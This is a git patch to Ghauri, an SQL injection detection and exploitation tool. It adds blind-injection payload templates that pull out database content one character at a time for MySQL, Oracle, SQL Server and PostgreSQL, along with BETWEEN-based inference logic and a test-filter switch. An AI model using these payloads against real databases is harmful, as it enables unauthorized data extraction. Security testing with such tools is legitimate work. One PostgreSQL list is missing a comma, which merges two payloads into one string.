From 502f2a36550596fb3437879bc757e9c40f2d3740 Mon Sep 17 00:00:00 2001 From: r0oth3x49 Date: Sat, 4 Mar 2023 13:15:24 +0500 Subject: [PATCH] updated code quality, added further retrieval payloads, updated code of confirming the characters when --fetch-using=between is used, added new switch for performing tests based on title(s). bumped version 1.1.8 --- README.md | 2 +- ghauri/__init__.py | 2 +- ghauri/common/config.py | 1 + ghauri/common/payloads.py | 27 ++++++++++++++++++--------- ghauri/common/utils.py | 10 ++++++++++ ghauri/core/extract.py | 20 +++++++++++++++++--- ghauri/ghauri.py | 2 ++ ghauri/scripts/ghauri.py | 8 ++++++++ setup.py | 2 +- 9 files changed, 59 insertions(+), 15 deletions(-) diff --git a/README.md b/README.md index 51a6a0f..80cc659 100644 --- a/README.md +++ b/README.md @@ -1,4 +1,4 @@ -[![GitHub release](https://img.shields.io/badge/release-v1.1.7-brightgreen?style=flat-square)](https://github.com/r0oth3x49/ghauri/releases/tag/1.1.7) +[![GitHub release](https://img.shields.io/badge/release-v1.1.8-brightgreen?style=flat-square)](https://github.com/r0oth3x49/ghauri/releases/tag/1.1.8) [![GitHub stars](https://img.shields.io/github/stars/r0oth3x49/ghauri?style=flat-square)](https://github.com/r0oth3x49/ghauri/stargazers) [![GitHub forks](https://img.shields.io/github/forks/r0oth3x49/ghauri?style=flat-square)](https://github.com/r0oth3x49/ghauri/network) [![GitHub issues](https://img.shields.io/github/issues/r0oth3x49/ghauri?style=flat-square)](https://github.com/r0oth3x49/ghauri/issues) diff --git a/ghauri/__init__.py b/ghauri/__init__.py index 4ddff1a..3fc2331 100644 --- a/ghauri/__init__.py +++ b/ghauri/__init__.py @@ -24,7 +24,7 @@ """ -__version__ = "1.1.7" +__version__ = "1.1.8" __author__ = "Nasir Khan (r0ot h3x49)" __license__ = "MIT" __copyright__ = "Copyright (c) 2016-2025 Nasir Khan (r0ot h3x49)" diff --git a/ghauri/common/config.py b/ghauri/common/config.py index e0cb645..2c7f08c 100644 --- a/ghauri/common/config.py +++ b/ghauri/common/config.py @@ -98,6 +98,7 @@ def __init__( self.rto_warning = False self.fetch_using = None self.rtom_warning = False + self.test_filter = None @property def session_filepath(self): diff --git a/ghauri/common/payloads.py b/ghauri/common/payloads.py index 8d094b9..0fd6b91 100644 --- a/ghauri/common/payloads.py +++ b/ghauri/common/payloads.py @@ -35,39 +35,48 @@ "MySQL": [ "ORD(MID(LENGTH({query}),{position},1))={char}", "ORD(MID(IFNULL(LENGTH({query}),0),{position},1))={char}", + "ORD(MID(IFNULL(CAST(LENGTH({query}) AS NCHAR),0),{position},1))={char}", ], "Oracle": [ "ASCII(SUBSTRC(LENGTH({query}),{position},1))={char}", "ASCII(SUBSTRC(NVL(LENGTH({query}),0),{position},1))={char}", + "ASCII(SUBSTRC(NVL(CAST(LENGTH({query}) AS VARCHAR(4000)),0),{position},1))={char}", ], "Microsoft SQL Server": [ "UNICODE(SUBSTRING(LTRIM(STR(LEN({query}))),{position},1))={char}", "UNICODE(SUBSTRING(LEN({query}),{position},1))={char}", + "UNICODE(SUBSTRING(ISNULL(CAST(LEN({query}) AS NVARCHAR(4000)),0),{position},1))={char}", ], "PostgreSQL": [ - "ASCII(SUBSTRING(LENGTH({query}::text)::text FROM {position} FOR 1))={char}" + "ASCII(SUBSTRING(LENGTH({query}::text)::text FROM {position} FOR 1))={char}", + "ASCII(SUBSTRING(COALESCE(LENGTH({query})::text,CHR(48))::text FROM {position} FOR 1))={char}" + "ASCII(SUBSTRING(COALESCE(CAST(LENGTH({query})::text AS VARCHAR(10000))::text,CHR(32))::text FROM {position} FOR 1))={char}", ], } DATA_EXTRACTION_PAYLOADS = { "MySQL": { - "ASCII": "ORD(MID({query},{position},1))={char}", - "ASC": "ORD(MID(IFNULL({query},0x20),{position},1))={char}", + "no-cast": "ORD(MID({query},{position},1))={char}", + "isnull": "ORD(MID(IFNULL({query},0x20),{position},1))={char}", + "cast": "ORD(MID(IFNULL(CAST({query} AS NCHAR),0x20),{position},1))={char}", # "CHAR": "MID({query},{position},1)=CHAR({char})", }, "Oracle": { - "ASCII": "ASCII(SUBSTRC({query},{position},1))={char}", - "ASC": "ASCII(SUBSTRC(NVL({query},CHR(32)),{position},1))={char}", + "no-cast": "ASCII(SUBSTRC({query},{position},1))={char}", + "isnull": "ASCII(SUBSTRC(NVL({query},CHR(32)),{position},1))={char}", + "cast": "ASCII(SUBSTRC(NVL(CAST({query} AS NVARCHAR(4000)),CHR(32)),{position},1))={char}", # "CHAR": "SUBSTR({query},{position},1)=CHR({char})", }, "Microsoft SQL Server": { - "ASCII": "UNICODE(SUBSTRING({query},{position},1))={char}", - "ASC": "UNICODE(SUBSTRING(ISNULL({query},' '),{position},1))={char}", + "no-cast": "UNICODE(SUBSTRING({query},{position},1))={char}", + "isnull": "UNICODE(SUBSTRING(ISNULL({query},' '),{position},1))={char}", + "cast": "UNICODE(SUBSTRING(ISNULL(CAST({query} AS NVARCHAR(4000)),' '),{position},1))={char}", # "CHAR": "SUBSTRING({query},{position},1)=CHAR({char})", }, "PostgreSQL": { - "ASCII": "ASCII(SUBSTRING({query}::text FROM {position} FOR 1))={char}", - "ASC": "ASCII(SUBSTRING((COALESCE({query}::text,CHR(32)))::text FROM {position} FOR 1))={char}", + "no-cast": "ASCII(SUBSTRING({query}::text FROM {position} FOR 1))={char}", + "isnull": "ASCII(SUBSTRING((COALESCE({query}::text,CHR(32)))::text FROM {position} FOR 1))={char}", + "cast": "ASCII(SUBSTRING((COALESCE(CAST({query} AS VARCHAR(10000))::text,CHR(32)))::text FROM {position} FOR 1))={char}", # "CHAR": "SUBSTRING({query}::text FROM {position} FOR 1)=CHR({char})", }, } diff --git a/ghauri/common/utils.py b/ghauri/common/utils.py index 5c51e17..88347f8 100644 --- a/ghauri/common/utils.py +++ b/ghauri/common/utils.py @@ -1895,6 +1895,16 @@ def prepare_payloads( vector=vector, ) _temp.append(_r) + # experimental.. + if conf.test_filter: + _filtered_tests = [] + for t in _temp: + title = t.title + mobj = re.search(r"(?is)(?:%s)" % (re.escape(conf.test_filter)), title) + if mobj: + _filtered_tests.append(t) + if _filtered_tests: + _temp = _filtered_tests return _temp diff --git a/ghauri/core/extract.py b/ghauri/core/extract.py index dbf9930..fba984c 100644 --- a/ghauri/core/extract.py +++ b/ghauri/core/extract.py @@ -487,9 +487,23 @@ def validate_character( char=ord(identified_character), ) if vector_type == "time_vector": - condition = replace_with( - string=condition, character="=", replace_with="!=" - ) + if conf.fetch_using.lower() == "between": + condition = replace_with( + string=condition, + character="=", + replace_with=" NOT BETWEEN 0 AND ", + ) + else: + condition = replace_with( + string=condition, character="=", replace_with="!=" + ) + if vector_type == "boolean_vector": + if conf.fetch_using.lower() == "between": + condition = replace_with( + string=condition, + character="=", + replace_with=" BETWEEN 0 AND ", + ) expression = vector.replace("[INFERENCE]", f"{condition}").replace( "[SLEEPTIME]", f"{timesec}" ) diff --git a/ghauri/ghauri.py b/ghauri/ghauri.py index a2a949d..368af98 100644 --- a/ghauri/ghauri.py +++ b/ghauri/ghauri.py @@ -88,6 +88,7 @@ def perform_injection( confirm_payloads=False, safe_chars=None, fetch_using=None, + test_filter=None, ): verbose_levels = { 1: logging.INFO, @@ -102,6 +103,7 @@ def perform_injection( conf.safe_chars = safe_chars conf.timesec = timesec conf.fetch_using = fetch_using + conf.test_filter = test_filter logger.start("starting") if not force_ssl: ssl._create_default_https_context = ssl._create_unverified_context diff --git a/ghauri/scripts/ghauri.py b/ghauri/scripts/ghauri.py index 1d74345..d48f3d6 100644 --- a/ghauri/scripts/ghauri.py +++ b/ghauri/scripts/ghauri.py @@ -64,6 +64,13 @@ def main(): action="store_true", help="Flush session files for current target", ) + general.add_argument( + "--test-filter", + dest="test_filter", + type=str, + help="Select test payloads by titles (experimental)", + metavar="", + ) target = parser.add_argument_group( "Target", @@ -455,6 +462,7 @@ def main(): confirm_payloads=args.confirm_payloads, safe_chars=args.safe_chars, fetch_using=args.fetch_using, + test_filter=args.test_filter, ) if resp.is_injected: target = ghauri.Ghauri( diff --git a/setup.py b/setup.py index 93d562e..537e0b0 100644 --- a/setup.py +++ b/setup.py @@ -5,7 +5,7 @@ setup( name="ghauri", - version="1.1.7", + version="1.1.8", description="An advanced SQL injection detection & exploitation tool.", classifiers=["Programming Language :: Python3"], author="Nasir Khan",